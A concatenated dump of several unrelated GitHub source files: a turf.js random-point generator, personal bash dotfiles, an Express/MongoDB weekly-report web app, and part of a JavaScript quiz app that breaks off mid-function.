wstream.write(',')
count = count + 1
}
}
})
}
})
}
}
else{
console.log('if its polygon')
feature.geometry.coordinates.forEach(function (item,index) {
var line = turf.lineString(item);
var bbox = turf.bbox(line);
var poly = turf.polygon([item],{name: 'Polygon'})
var count = 0
while(count < feature.properties.POPULATION){
var points = turf.randomPoint(feature.properties.POPULATION, {bbox: bbox})
Object.values(points.features).forEach(function (each_point,index) {
point = each_point
each_point.properties['GEOID'] = feature.properties.GEOID
inside = turf_inside(point,poly)
if (inside) {
if (count < feature.properties.POPULATION ){
each_point.properties['i'] = count+1
wstream.write(JSON.stringify(each_point))
wstream.write(',')
count = count+1
}
}
})
}
})
}
})
return null
}
var result = randomPointInPoly(bg_json)
wstream.end()
|
aafc60db413706e58797d133b96d9b7710f5008e
|
[
"JavaScript"
] | 1 |
JavaScript
|
availabs/RandomPointsPolygon
|
f590d7e54d3a2bb8a2ad323bbe95dd487581e386
|
3226204a763c4e847041b03f05f905466b1012c0
|
refs/heads/master
|
<file_sep>export PATH=/opt/local/bin:/opt/local/sbin:$PATH
export PATH=/usr/local/mysql/bin:~/Dropbox/home/bin:~/Dropbox/Projects/virtual/flim:~/Dropbox/bin:$PATH
# use MAMPs php binary instead of the system default
#export PATH=/Applications/MAMP/bin/php/php5.3.6/bin:$PATH
source ~/.bash/aliases
source ~/.bash/completions
source ~/.bash/paths
source ~/.bash/config
# use .localrc for settings specific to one system
if [ -f ~/.localrc ]; then
source ~/.localrc
fi
PATH=$PATH:$HOME/.rvm/bin # Add RVM to PATH for scripting
PATH=/usr/local/php5-20120721-141937/bin:$PATH # add special php5.4.5 path
PATH=$HOME/.composer/vendor/bin:$PATH # add composer global apps to path
export PYTHONPATH="/usr/local/lib/python2.6/site-packages:$PYTHONPATH"
[[ -s "$HOME/.rvm/scripts/rvm" ]] && . "$HOME/.rvm/scripts/rvm"
### Added by the Heroku Toolbelt
export PATH="/usr/local/heroku/bin:$PATH"
### AWS information
export JAVA_HOME="/usr/bin/java"
export EC2_HOME=/usr/local/ec2/ec2-api-tools-1.7.1.0
### MySQL lib information
export DYLD_LIBRARY_PATH=/usr/local/mysql-5.6.20-osx10.8-x86_64/lib:$DYLD_LIBRARY_PATH
export NVM_DIR="/Users/charlie/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && . "$NVM_DIR/nvm.sh" # This loads nvm
eval $(docker-machine env default)
<file_sep>if [ -f ~/.bashrc ]; then
source ~/.bashrc
fi
#Adding MakerBot G3Firmware AVR Build Settings
export PATH=/usr/local/avr/bin:${PATH}
# Setting PATH for Python 3.4
# The orginal version is saved in .bash_profile.pysave
PATH="/Library/Frameworks/Python.framework/Versions/3.4/bin:${PATH}"
PATH="~/bin:${PATH}"
PATH=$PATH:/Users/charlie/google-cloud-sdk/platform/google_appengine
export PATH
# # The next line updates PATH for the Google Cloud SDK.
# source '/Users/charlie/google-cloud-sdk/path.bash.inc'
#
# # The next line enables bash completion for gcloud.
# source '/Users/charlie/google-cloud-sdk/completion.bash.inc'
|
815602091a60e70570c20549876a2ca09c562675
|
[
"Shell"
] | 2 |
Shell
|
flimshaw/dotfiles
|
484cc40a6e376831b2393274e299f3aaef15487d
|
b6988c0bf3582d9ae797132c83fe54971d664755
|
refs/heads/master
|
<repo_name>stalk-io/stalk-io.github.io<file_sep>/_backup/js/dashboard.js
function getURLParameter(name) {
var u = decodeURI((RegExp(name + '=' + '(.+?)(&|$)').exec(location.search)||[,null])[1]);
if(u){
//if(u.indexOf('://') >= 0){
// return u.substr(u.indexOf('://')+3);
//}else{
return u
//}
}else{
return false;
}
}
function reloadPage(u){
var uu = u;
if(u.indexOf('://') >= 0){
uu = u.substr(u.indexOf('://')+3);
}
$.ajax({
url: 'http://www.stalk.io:7777/list?site=' + uu , //encodeURIComponent(u),
data: {},
dataType: 'jsonp',
crossDomain: 'true',
beforeSend: function ( xhr ) {
$('#urlTitle').html(' . . . . ');
},
error: function(jqXHR, exception) {
var errorMessage = "";
if (jqXHR.status === 0) {
errorMessage = 'Not connect.\n Verify Network.';
} else if (jqXHR.status == 404) {
errorMessage = 'Requested page not found. [404]';
} else if (jqXHR.status == 500) {
errorMessage = 'Internal Server Error [500].';
} else if (exception === 'parsererror') {
errorMessage = 'Requested JSON parse failed.';
} else if (exception === 'timeout') {
errorMessage = 'Time out error.';
} else if (exception === 'abort') {
errorMessage = 'Ajax request aborted.';
} else {
errorMessage = 'Uncaught Error.\n' + jqXHR.responseText;
}
errorMessage = errorMessage + ' Try again later.';
},
success: function (data) {
var totalCnt = PageList.reload(data.count, data.data);
LineChart.reload(totalCnt);
setTimeout("reloadPage('"+u+"')",1000*3);
}
});
}
function getUrlTitle(u, c){
if(c == "null"){
c = "";
}else{
c = "and charset = '"+c+"'";
}
var yql = 'http://query.yahooapis.com/v1/public/yql?q=' + encodeURIComponent("select content from html where url = '"+u+"' "+c+" and xpath = '//title'") + '&format=json';
$.ajax({
url: yql,
data: {},
dataType: 'jsonp',
crossDomain: 'true',
beforeSend: function ( xhr ) {
$('#urlTitle').html(' . . . . ');
},
error: function(jqXHR, exception) {
var errorMessage = "";
if (jqXHR.status === 0) {
errorMessage = 'Not connect.\n Verify Network.';
} else if (jqXHR.status == 404) {
errorMessage = 'Requested page not found. [404]';
} else if (jqXHR.status == 500) {
errorMessage = 'Internal Server Error [500].';
} else if (exception === 'parsererror') {
errorMessage = 'Requested JSON parse failed.';
} else if (exception === 'timeout') {
errorMessage = 'Time out error.';
} else if (exception === 'abort') {
errorMessage = 'Ajax request aborted.';
} else {
errorMessage = 'Uncaught Error.\n' + jqXHR.responseText;
}
errorMessage = errorMessage + ' Try again later.';
},
success: function (data) {
if(parseInt(data.query.count, 10) > 0){
$('#pageTitle').html(
u+' <br><small class="text-info">'+data.query.results.title+' <a href="'+u+'" target="_black"><i class="icon-search"></i></a></small>');
}
}
});
}
$(function() {
var s = getURLParameter("site");
var charset = getURLParameter("charset");
$('#pageTitle').html(s);
window.prettyPrint && prettyPrint();
LineChart.init('lineChart');
PageList.init('pageList', s, charset );
getUrlTitle(s, charset);
reloadPage(s);
})
|
eeb9524b3e5d92b59ad649861b6d28ed6b555c9c
|
[
"JavaScript"
] | 1 |
JavaScript
|
stalk-io/stalk-io.github.io
|
16dff2badca990a5bd8a6675ac6d90363cdfa9fa
|
14b161b26b6af870943749e72ad4ffe23bb43639
|
refs/heads/master
|
<repo_name>finmily/webweekreport<file_sep>/proprety.js
/**
* Created by fanbaolin on 15/10/26.
*/
<file_sep>/enity/depart.js
/**
* Created by fanbaolin on 15/10/8.
*/
var mongoose = require('mongoose');
var Schema = mongoose.Schema;
var departSchema = new Schema({
name : {type : String,default:'unknow user'},
});
depart = mongoose.model('depart',departSchema);
module.exports = depart;
<file_sep>/public/javascripts/sha1.js
/**
* Created by fanbaolin on 15/10/27.
*/
<file_sep>/routes/user.js
/**
* Created by Administrator on 2015/9/15.
*/
//date:yyyy-MM-dd
var userModel = require('./userModel');
module.exports.login = function (req, res, next) {
console.log('info : method login : ' + req.body.username);
//next();
var username = req.body.username.trim();
var password = req.body.password;
userModel.loginCheck(username, password, function (isAdmin) {
console.log(username);
console.log(password);
req.session.typeU = isAdmin;
next();
//res.render('mainpage');
}, function (tag) {
if (tag == 2) {
//未激活用户
res.render('statusNo');
} else {
//密码错误
res.render('loginerrPassword');
}
})
};
module.exports.loginType = function (username) {
userModel.loginType(username, function (isAdmin) {
if (isAdmin) {
return true;
}
else {
return false;
}
})
};
module.exports.getAllUser = function (req, res) {
var depart = req.query.depart;
userModel.getAllUser(depart, function (result) {
var length = result.length;
var userArr = [];
for (var i = 0; i < length; i++) {
userArr.push(result[i].name);
}
res.send(userArr)
}, function () {
res.send([]);
})
};
module.exports.register = function (req, res) {
var username = req.body.username.trim();
var pwd = req.body.password;
var depart = req.body.depart;
userModel.register(username, pwd, depart, function () {
//res.render('mainpage');
res.render('registerNoAlive');
}, function () {
res.render('register', {title1: username});
});
//res.render('mainpage');
};
module.exports.deleteReport = function (req, res) {
var username = req.session.username;
var reportId = req.body.reportId;
console.log(reportId);
var msg = {isSuccess: false};
userModel.deleteReport(username, reportId, function () {
msg.isSuccess = true;
res.send(msg);
}, function () {
res.send(msg);
})
};
module.exports.addReport = function (req, res) {
var username = req.session.username;
var reportMsg = req.body.reportMsg;
var reportMsg2 = req.body.reportMsg2;
var reportMsg3 = req.body.reportMsg3;
//data:���ڵ�ʱ��
//var time = new Date().Format("yyyy-MM-dd");
var time = new Date();
userModel.addReport(username, reportMsg, reportMsg2, reportMsg3, time, function () {
res.render('success', {infom: '添加周报成功', title: '添加周报成功'});
}, function () {
res.render('success', {infom: '添加周报失败,请检查本周周报是否已经提交', title: '添加失败'});
});
};
module.exports.editSaveReport = function (req, res) {
var username = req.session.username;
var reportMsg = req.body.text1;
var reportMsg2 = req.body.text2;
var reportMsg3 = req.body.text3;
var reportId = req.body.reportId;
var msg = {isSuccess: false};
userModel.editReport(username, reportId, reportMsg, reportMsg2, reportMsg3, function () {
msg.isSuccess = true;
res.send(msg);
}, function () {
res.send(msg);
})
};
module.exports.saveReport = function (req, res) {
var username = req.session.username;
var reportMsg = req.body.text1;
var reportMsg2 = req.body.text2;
var reportMsg3 = req.body.text3;
var time = new Date();
userModel.saveReport(time, username, reportMsg, reportMsg2, reportMsg3, function () {
res.render('success', {infom: '保存周报成功', title: '保存周报成功'});
}, function () {
res.render('success', {infom: '添加周报失败,请检查本周周报是否已经提交或者已经保存', title: '添加失败'});
})
};
//对于已经保存的周报,可以选择提交
module.exports.submitReport = function (req, res) {
var username = req.session.username;
var reportId = req.query.reportId;
var time = new Date();
userModel.submitReport(username, reportId, time, function () {
res.render('success', {infom: '提交周报成功', title: '提交周报成功'});
}, function () {
res.send('提交失败');
})
};
//admin
module.exports.getReport = function (req, res) {
var username = req.session.username;
var startDate = req.body.startDate;
var endDate = req.body.endDate;
userModel.getReport(username, startDate, endDate, function (data) {
res.render('myReport');
}, function () {
res.render('error');
})
};
//userReport
module.exports.reportAll = function (req, res) {
var username = req.session.username;
userModel.getReportList(username, function (data) {
var title = username + '的周报';
res.render('myReport', {title1: title, supplies: data[0].report});
}, function () {
res.send('error');
});
};
module.exports.getDetail = function (req, res) {
var id = req.query.id;
var username = req.session.username;
userModel.getReportList(username, function (data) {
var length = data[0].report.length;
var tag = -1;
for (var i = 0; i < length; i++) {
if (data[0].report[i]._id == id) {
tag = i;
break;
}
}
if (tag == -1) {
res.send('no data');
} else {
res.render('myReportDetail', {
title1: username,
username: username,
depart: data[0].depart,
report: data[0].report[tag],
rDate: data[0].report[tag].date.Format("yyyy-MM-dd")
});
}
}, function () {
res.send('no data');
})
};
module.exports.editReport = function (req, res) {
var id = req.query.id;
var username = req.session.username;
userModel.getReportList(username, function (data) {
var length = data[0].report.length;
var tag = -1;
for (var i = 0; i < length; i++) {
if (data[0].report[i]._id == id) {
tag = i;
break;
}
}
if (tag == -1) {
res.send('no data');
} else {
res.render('editReport', {
title: username,
username: username,
report: data[0].report[tag],
rDate: data[0].report[tag].date.Format("yyyy-MM-dd")
});
}
})
};
//admin
module.exports.getDetailU = function (req, res) {
var username = req.query.username;
var dateSelected = req.query.timeSelected;
userModel.getDetailLastDate(username, dateSelected, function (data) {
res.render('DetailReportAdmin', {username: username, report: data, selectedDate: dateSelected});
}, function () {
res.send('error');
})
};
//admin
module.exports.getReportAdmin = function (req, res) {
var time = new Date().Format("yyyy-MM-dd");
userModel.getReportByDate(time, function (data) {
res.send(data);
}, function () {
res.send('error');
})
};
//admin
//根据admin的部门来获取下属用户列表
module.exports.userManager = function (req, res) {
var username = req.session.username;
userModel.getUserListByDepart(username, function (data, depart, typeU) {
//console.log(data[1]);
//console.log(data[0]);
//typeU: type of optr
if (typeU == '1') {
userModel.test(function (dataT) {
var dataLength = dataT.length;
for (var i = 0; i < dataLength; i++) {
var itemLength = dataT[i].count;
dataT[i].user.sort(function (a, b) {
return parseFloat(b.typeU) - parseFloat(a.typeU);
});
}
res.render('userMangerAll', {'data': dataT, 'typeU': typeU, 'name': username});
//res.send(data);
}, function () {
res.render('error');
});
} else {
res.render('userManager', {'supplies': data, 'depart': depart, 'typeU': typeU});
}
}, function () {
res.render('error');
});
};
//admin
module.exports.addAdmin = function (req, res) {
var optUser = req.session.username;
var id = req.query.id;
var isSuccess = {isSuccess: false};
userModel.isAdmin(optUser, function () {
userModel.addAdmin(id, function () {
isSuccess.isSuccess = true;
res.send(isSuccess);
}, function () {
res.send(isSuccess);
})
}, function () {
res.send(isSuccess);
})
};
module.exports.cancelAdmin = function (req, res) {
var optUser = req.session.username;
var id = req.query.id;
var isSuccess = {isSuccess: false};
userModel.isAdmin(optUser, function () {
userModel.cancelAdmin(id, function () {
isSuccess.isSuccess = true;
res.send(isSuccess);
}, function () {
res.send(isSuccess);
})
}, function () {
res.send(isSuccess);
})
};
module.exports.aliveUser = function (req, res) {
var optUser = req.session.username;
var id = req.query.id;
console.log(optUser);
var isSuccess = {isSuccess: false};
userModel.isAdmin(optUser, function () {
userModel.aliveUser(id, function () {
isSuccess.isSuccess = true;
console.log(isSuccess);
res.send(isSuccess);
}, function () {
console.log(isSuccess);
res.send(isSuccess);
})
}, function () {
res.send(isSuccess);
})
};
module.exports.stopUser = function (req, res) {
var optUser = req.session.username;
var id = req.query.id;
var isSuccess = {isSuccess: false};
userModel.isAdmin(optUser, function () {
userModel.stopUser(id, function () {
isSuccess.isSuccess = true;
res.send(isSuccess);
}, function () {
res.send(isSuccess);
})
}, function () {
res.send(isSuccess);
})
};
module.exports.deleteUser = function (req, res) {
var optUser = req.session.username;
var id = req.query.id;
var isSuccess = {isSuccess: false};
userModel.isAdmin(optUser, function () {
userModel.deleteUser(id, function () {
isSuccess.isSuccess = true;
res.send(isSuccess);
}, function () {
res.send(isSuccess);
})
}, function () {
res.send(isSuccess);
})
};
//获取选择时间的提交人员
module.exports.getReportAdminbet = function (req, res) {
var timeStart = req.body.timeSelect;
var depart = req.body.depart;
userModel.getUserLastDate(timeStart, depart, function (result) {
var userSubmit = [];
var resultLen = result.length;
for (var i = 0; i < resultLen; i++) {
userSubmit.push(result[i].name);
}
res.send(userSubmit);
}, function () {
res.send('error');
})
};
module.exports.getNoCommentByDate = function (req, res) {
console.log(depart);
var depart = req.query.depart;
var timeSe = req.query.timeSelect;
userModel.getReportNoCommentByDate(timeSe, depart, function (result) {
var userNoSubmit = [];
var resultLen = result.length;
for (var i = 0; i < resultLen; i++) {
userNoSubmit.push(result[i].name);
}
console.log(userNoSubmit);
res.send(userNoSubmit);
})
};
module.exports.getDetailLastDate = function (req, res) {
var username = req.query.username;
userModel.getUserLastDate(username, function (data) {
res.send(data);
}, function () {
res.send('error');
})
};
module.exports.addComment = function (req, res) {
var username = req.body.username;
var id = req.body.reportId;
var commentStr = req.body.commentStr;
userModel.comment(username, id, commentStr, function () {
res.send({msg: '1'});
}, function () {
res.send({msg: '0'});
})
};
//
module.exports.logout = function (req, res, next) {
req.session.destroy();
next();
};
Date.prototype.Format = function (fmt) { //author: meizz
var o = {
"M+": this.getMonth() + 1, //�·�
"d+": this.getDate(), //��
"h+": this.getHours(), //Сʱ
"m+": this.getMinutes(), //��
"s+": this.getSeconds(), //��
"q+": Math.floor((this.getMonth() + 3) / 3), //����
"S": this.getMilliseconds() //����
};
if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
for (var k in o)
if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length)));
return fmt;
};
<file_sep>/enity/user.js
/**
* Created by Administrator on 2015/9/14.
*/
var mongoose = require('mongoose');
var Schema = mongoose.Schema;
var report = new Schema({
date: {type: Date, default: Date.now()},
status: Boolean,
text: String
});
var userSchema = new Schema({
name: {type: String, default: 'unknow user'},
typeU: {type: String, default: '0'},
age: {type: String},
status: {type: String, default: '0'},
password: {type: String},
depart: {type: String},
lastAdd: {type: Date, default: null},
report: [{
date: {type: Date, default: Date.now()},
status: {type: Boolean, default: false},
text: String,
text2: String,
text3: String,
comment: String,
submit: {type: Boolean, default:false}
}]
});
user = mongoose.model('student', userSchema);
Date.prototype.Format = function (fmt) { //author: meizz
var o = {
"M+": this.getMonth() + 1, //�·�
"d+": this.getDate(), //��
"h+": this.getHours(), //Сʱ
"m+": this.getMinutes(), //��
"s+": this.getSeconds(), //��
"q+": Math.floor((this.getMonth() + 3) / 3), //����
"S": this.getMilliseconds() //����
};
if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
for (var k in o)
if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length)));
return fmt;
};
module.exports = user;
<file_sep>/routes/userModel.js
/**
* Created by Administrator on 2015/9/17.
*/
//date:yyyy-MM-dd
var user = require('../enity/user');
var userList = require('../enity/userList');
var companyList = require('../enity/compayList');
//var host = process.env.OPENSHIFT_MONGODB_DB_HOST;
//var port = process.env.OPENSHIFT_MONGODB_DB_PORT;
//var username = 'admin';
//var password = '<PASSWORD>';
var host = "localhost";
var port = "27017";
exports.DBconnect = function () {
//var dbURL = 'mongodb://'+username+':'+password+'@'+host+':'+port+'/nodejs';
var dbURL = 'mongodb://'+host + '/nodejs';
var db = require('mongoose').connect(dbURL);
return db;
};
exports.DBdisconnect = function (db) {
db.disconnect();
};
exports.loginCheck = function (username, password, success, fail) {
user.findOne({name: username}, function (err, record) {
if (err) {
fail();
return;
}
if (!record) {
fail();
return;
}
if (record.password == <PASSWORD> && record.status == '0') {
success(record.typeU);
} else {
if (record.status != '0') {
fail(2);
}
else {
fail(1);
}
}
});
};
exports.loginType = function (username, success, fail) {
user.findOne({name: username}, function (err, record) {
if (err) {
fail();
return;
}
if (!record) {
fail();
return;
} else {
console.log(record.typeU);
if (record.typeU == '0') {
success(0);
} else {
success(1);
}
}
})
};
exports.getUserByName = function (username, success, fail) {
user.findOne({name: username}, function (err, data) {
if (err) {
fail();
} else {
success(data.depart);
}
})
};
exports.register = function (username, password, depart, success, fail) {
var instance = new user();
instance.name = username;
instance.password = <PASSWORD>;
instance.depart = depart;
instance.status = '1';
user.create(instance, function (err) {
if (err) {
fail();
return;
}
else {
success();
return;
}
});
var instanceU = new userList();
instanceU.name = username;
userList.create(instanceU, function (err) {
if (err) {
return;
}
return;
});
};
//��������ʵ��
exports.changePassword = function (username, password, newPassword, success, fail) {
};
//usermanger
exports.aliveUser = function (username, success, fail) {
console.log(username);
user.update({_id: username}, {status: '0'}, function (err) {
if (err) {
fail();
} else {
user.findOne({name:username},function(err,data){
console.log(data);
success();
});
}
})
};
exports.isAdmin = function (username, success, fail) {
username = username.trim();
user.findOne({name: username}, function (err, data) {
if (err) {
fail();
} else {
if (data==null||data.typeU == '0') {
fail();
} else {
success();
}
}
})
};
exports.stopUser = function (username, success, fail) {
user.update({_id: username}, {status: '1'}, function (err) {
if (err) {
fail();
}
else {
success();
}
})
};
exports.addAdmin = function (username, success, fail) {
user.update({_id: username}, {typeU: '2'}, function (err) {
if (err) {
fail();
} else {
success();
}
})
};
exports.cancelAdmin = function (username, success, fail) {
user.update({_id: username}, {typeU: '0'}, function (err) {
if (err) {
fail();
} else {
success();
}
})
};
exports.deleteUser = function (username, success, fail) {
user.remove({_id: username}, function (err) {
if (err) {
fail();
} else {
success();
}
})
};
exports.getAllUser = function (depart, success, fail) {
console.log(depart);
user.find({depart: depart, typeU: '0'}, function (err, result) {
if (err) {
fail();
} else {
console.log(result);
success(result);
}
})
};
exports.addReport = function (username, reportMsg, reportMsg2, reportMsg3, time, success, fail) {
var report = {date: time, text: reportMsg, text2: reportMsg2, text3: reportMsg3, submit: true};
console.log('report : ' + report);
console.log(time);
user.findOne({name: username}, function (err, result) {
if (err) {
fail();
return;
}
if (result.lastAdd != null && result.lastAdd.getDate() == time.getDate() && result.lastAdd.getMonth() == time.getMonth()
&& result.lastAdd.getFullYear() == time.getFullYear()) {
fail();
return;
}
else {
result.report.push(report);
result.save();
user.update({name: username}, {'lastAdd': time}, function (err, fu) {
if (err) {
fail();
return;
}
success();
return;
});
}
})
};
//���ݿ�洢ΪendDate
exports.getReport = function (username, startDate, endDate, success, fail) {
user.findOne({name: username}, function (err, result) {
if (err) {
fail();
return;
}
console.log(result);
if (result.report.length == 0) {
fail();
return;
} else {
var temp = -1;
console.log(result);
for (var i = 0; i < result.report.length; i++) {
if (result.report.date == endDate) {
temp = i;
break;
}
}
success(result.report[0]);
return;
}
})
};
//getReport admin
//未使用
exports.getReportByDateBt = function (timeStart, timeEnd, success, fail) {
// userList.find()
timeStart = timeStart + "T00:00:00.510Z";
timeEnd = timeEnd + "T11:59:59.510Z";
console.log(timeStart + ':::' + timeEnd + "datnow:" + new Date());
success();
};
//�����ܱ��б�(�����б�)��ָ���û���ָ����
//获取一个用户的所有周报
exports.getReportList = function (username, success, fail) {
var query = {};
if (username) {
query = {name: username};
}
user.find(query, function (err, result) {
if (result.length > 0) {
success(result);
} else {
fail();
}
})
};
exports.comment = function (username, reportId, commentString, success, fail) {
console.log(username + reportId + commentString);
user.update({'name': username, 'report._id': reportId}, {
'$set': {
'report.$.comment': commentString,
'report.$.status': true
}
}, function (err) {
if (err) {
fail();
} else {
success();
}
})
};
//测试用
exports.getReportByDate = function (date, success, fail) {
user.find({'report.status': 0}, function (err, record) {
success(record);
})
};
//return date-->user set
exports.getUserLastDate = function (date, depart, success, fail) {
var year = date.substring(0, 4);
var month = date.substring(5, 7);
var day = date.substring(8, 10);
var monthInt = parseInt(month, 10);
if (monthInt > 1) {
monthInt -= 1;
} else {
monthInt = 12;
}
month = '' + monthInt;
var now = new Date(year, month, day);
var tom = new Date(year, month, day);
tom.setDate(tom.getDate() + 1);
user.find({typeU: '0', depart: depart, lastAdd: {"$gte": now, "$lt": tom}}, function (err, result) {
if (err) {
fail();
return;
}
success(result);
});
};
//获取某一个用户的确定日期周报
//传入参数:username,dateSelected
//返回:report instance
exports.getDetailLastDate = function (username, dateSelected, success, fail) {
var year = dateSelected.substring(0, 4);
var month = dateSelected.substring(5, 7);
var day = dateSelected.substring(8, 10);
var monthInt = parseInt(month, 10);
if (monthInt > 1) {
monthInt -= 1;
} else {
monthInt = 12;
}
month = '' + monthInt;
var now = new Date(year, month, day);
user.findOne({name: username}, function (err, result) {
if (err || result.length == 0) {
fail();
}
var report = result.report;
//var LastDate = result.lastAdd;
var lengthR = report.length;
var tag = -1;
for (var i = 0; i < lengthR; i++) {
if (report[i].date.getDate() == now.getDate() && report[i].date.getMonth() == now.getMonth()
&& report[i].date.getFullYear() == now.getFullYear()) {
tag = i;
break;
}
}
console.log(tag);
if (tag > -1) {
success(report[tag]);
} else {
fail();
}
})
};
//获取用户最后提交的report
exports.getDetailByNameLastDate = function (username, success, fail) {
user.findOne({name: username}, function (err, result) {
if (err || result.length == 0) {
fail();
}
var report = result.report;
var LastDate = result.lastAdd;
var lengthR = report.length;
var tag = -1;
for (var i = 0; i < lengthR; i++) {
if (report[i].date.getDate() == LastDate.getDate() && report[i].date.getMonth() == LastDate.getMonth()
&& report[i].date.getFullYear() == LastDate.getFullYear()) {
tag = i;
break;
}
}
if (tag > 0) {
success(report[tag]);
} else {
fail();
}
})
};
//no comment
//获取指定日期的未审批用户
//传入参数:date,dapart(部门)
//返回:user对象数组
exports.getReportNoCommentByDate = function (date, depart, success, fail) {
var year = date.substring(0, 4);
var month = date.substring(5, 7);
var day = date.substring(8, 10);
var monthInt = parseInt(month, 10);
if (monthInt > 1) {
monthInt -= 1;
} else {
monthInt = 12;
}
month = '' + monthInt;
var now = new Date(year, month, day);
var tom = new Date(year, month, day);
tom.setDate(tom.getDate() + 1);
console.log(now);
console.log(tom);
console.log(depart);
user.find({
depart: depart,
typeU: '0',
'report.date': {"$gte": now, "$lt": tom},
'report.status': false
}, function (err, result) {
if (err) {
fail();
return;
}
success(result);
});
};
//返回name:name,type:usertype
exports.getUserListByDepart = function (username, success, fail) {
console.log('getUserListByDepart :' + username);
user.findOne({'name': username}, function (err, data) {
if (err) {
fail();
} else {
user.find({'depart': data.depart}, function (err, dataU) {
if (err || dataU.length <= 0) {
fail();
}
else {
var userArray = [];
var userLength = dataU.length;
for (var i = 0; i < userLength; i++) {
if (dataU[i].name != username) {
userArray.push({
name: dataU[i].name,
status: dataU[i].status,
id: dataU[i]._id,
typeU: dataU[i].typeU
});
}
}
success(userArray, data.depart, data.typeU);
}
})
}
});
};
/*********************user manager****************/
//用户激活 status = '1'
exports.userAlive = function (username, success, fail) {
user.findOne({name: username}, function (err, data) {
if (err) {
fail();
}
else {
data.status = '1';
data.save();
success();
}
})
};
//离职 status = '2'
exports.userOut = function (username, success, fail) {
user.update({name: username}, {status: '2'}, function (err) {
if (err) {
fail();
} else {
success();
}
});
};
/*********************report ****************/
exports.saveReport = function (time, username, text1, text2, text3, success, fail) {
var report = {text: text1, text2: text2, text3: text3};
user.findOne({name: username}, function (err, result) {
if (err) {
fail();
return;
}
else {
result.report.push(report);
result.save();
success();
}
})
};
exports.submitReport = function (username, reportId, time, success, fail) {
user.update({'name': username, 'report._id': reportId}, {
'$set': {
'lastAdd': time,
'report.$.submit': true,
'report.$.date': time
}
}, function (err) {
if (err) {
fail();
} else {
success();
}
})
};
exports.editReport = function (username, reportId, text1, text2, text3, success, fail) {
user.update({'name': username, 'report._id': reportId}, {
'$set': {
'report.$.text': text1,
'report.$.text2': text2,
'report.$.text3': text3
}
}, function (err) {
if (err) {
fail();
} else {
success();
}
})
};
exports.deleteReport = function (username, reportId, success, fail) {
console.log(reportId);
/*user.findOne({'name': username}, function (err, data) {
if (err) {
fail();
} else {
data.report.pull({'_id': reportId});
success();
}
})*/
user.update({'name': username},
{$pull: {'report': {'_id': reportId}}}, function (err, val) {
if (err) {
console.log(err);
fail();
} else {
success();
}
}
)
};
exports.test = function (success, fail) {
user.aggregate([
{
$group: {
_id: '$depart', //$region is the column name in collection
count: {$sum: 1},
user: {
$push: {
'name': '$name', 'status': '$status', 'typeU': '$typeU', '_id': '$_id'
}
}
}
}
], function (err, result) {
if (err) {
console.log(err);
fail();
} else {
success(result);
}
});
};
<file_sep>/README.md
##周报系统
node＋Express＋mongodb＋ejs实现
|
3349485d6e087c29d0ecde6ad66512e2f0d44a8f
|
[
"JavaScript",
"Markdown"
] | 7 |
JavaScript
|
finmily/webweekreport
|
b328dbe3cace743059e72b7a4ac26ddb809899d3
|
5b0874d8567c92fc345e8031d5e8efd912f0df8f
|
refs/heads/main
|
<repo_name>kwabena95/quiz<file_sep>/assets/js/app.js
// create an array objects
const questionArray = [
{
question: '1. Which option or options apply to JavaScript?',
option: [
{ text: 'JavaScript is a scripting language that can be inserted into HTML pages and is understood by web browsers.' },
{ text: 'It can be use as a client-side or server-side.' },
{ text: 'JavaScript is also an object-oriented programming language.' },
{ text: 'All of the above.' }
],
answer: 'All of the above.'
},
{
question: '2. What are JavaScript data types?',
option: [
{ text: 'Number, String, Boolean, Undefined, Object.' },
{ text: 'Null, ParseInt, ParseDecimal, Known.' },
{ text: 'Array, ToolKits, NaN, Empty.' },
{ text: 'StringNumber, Number, UndefinedEmpty.' }
],
answer: 'Number, String, Boolean, Undefined, Object.'
},
{
question: '3. What is the use of isNaN function?',
option: [
{ text: 'isNaN is use to determine the result of a Boolean.' },
{ text: 'isNaN returns true if an argument is not a number otherwise it returns false.' },
{ text: 'isNaN is a control flow statement.' },
{ text: 'isNaN is use to loop through an array.' }
],
answer: 'isNaN returns true if an argument is not a number otherwise it returns false.'
},
{
question: '4. Which property is NOT a loop property?',
option: [{ text: 'for' }, { text: 'while' }, { text: 'doWhile' }, { text: 'whileStill' }],
answer: 'whileStill'
},
{
question: '5. What are two basic groups of datatypes in JavaScript?',
option: [
{ text: 'Boolean and ParseInt' },
{ text: 'Primitive and Reference' },
{ text: 'Domesticated and Direct' },
{ text: 'Console.write and Console.log' }
],
answer: 'Primitive and Reference'
}
];
// grab UI elements
const startSection = document.querySelector('.start-section');
const btnStart = document.querySelector('#start-quiz');
const quizSection = document.querySelector('#quiz-section');
const startTime = document.querySelector('p .count-down');
const questionEl = document.querySelector('#questions');
const optionBtns = document.querySelector('.btn-list');
const displayMessage = document.querySelector('.display-message');
const viewhighScore = document.querySelector('.high-score');
const showScore = document.querySelector('#show-score');
const closeIcon = document.querySelector('.fas');
// add event listeners
btnStart.addEventListener('click', startQuiz);
// intialize time
let timeLeft = 20;
// set timeInterval
const setTime = setInterval(() => {
startTime.textContent = timeLeft;
timeLeft--;
if (timeLeft <= 0) {
clearInterval(timeLeft = 0);
const buttons = document.querySelectorAll("button.btn-option");
// disabled button when timer reaches 0
for (let i = 0; i < buttons.length; i++) {
const button = buttons[i];
button.disabled = true;
quizScore();
}
return setTime;
}
}, 1000);
// start quiz
function startQuiz() {
// add and remove class
(quizSection.classList.contains('hide')) ? quizSection.classList.remove('hide') : startSection.classList.add('hide');
// call showQuestion
showQuestion();
}
// store the last question in the array in a variable
const lastQuestion = questionArray.length - 1;
let currentQuestion = 0;
let score = 0;
let count;
let optBtn;
// render a question
function showQuestion() {
let questionIndex = questionArray[currentQuestion];
questionEl.textContent = questionIndex.question;
let opt = questionIndex.option;
// clear out buttons
clearDisplay();
// loop through options to create multiple answer
opt.forEach((btn) => {
optBtn = document.createElement('button');
optBtn.classList.add('btn-option');
// set button text to text in array
optBtn.textContent = btn.text;
optionBtns.appendChild(optBtn);
optBtn.addEventListener('click', (e) => {
e.preventDefault();
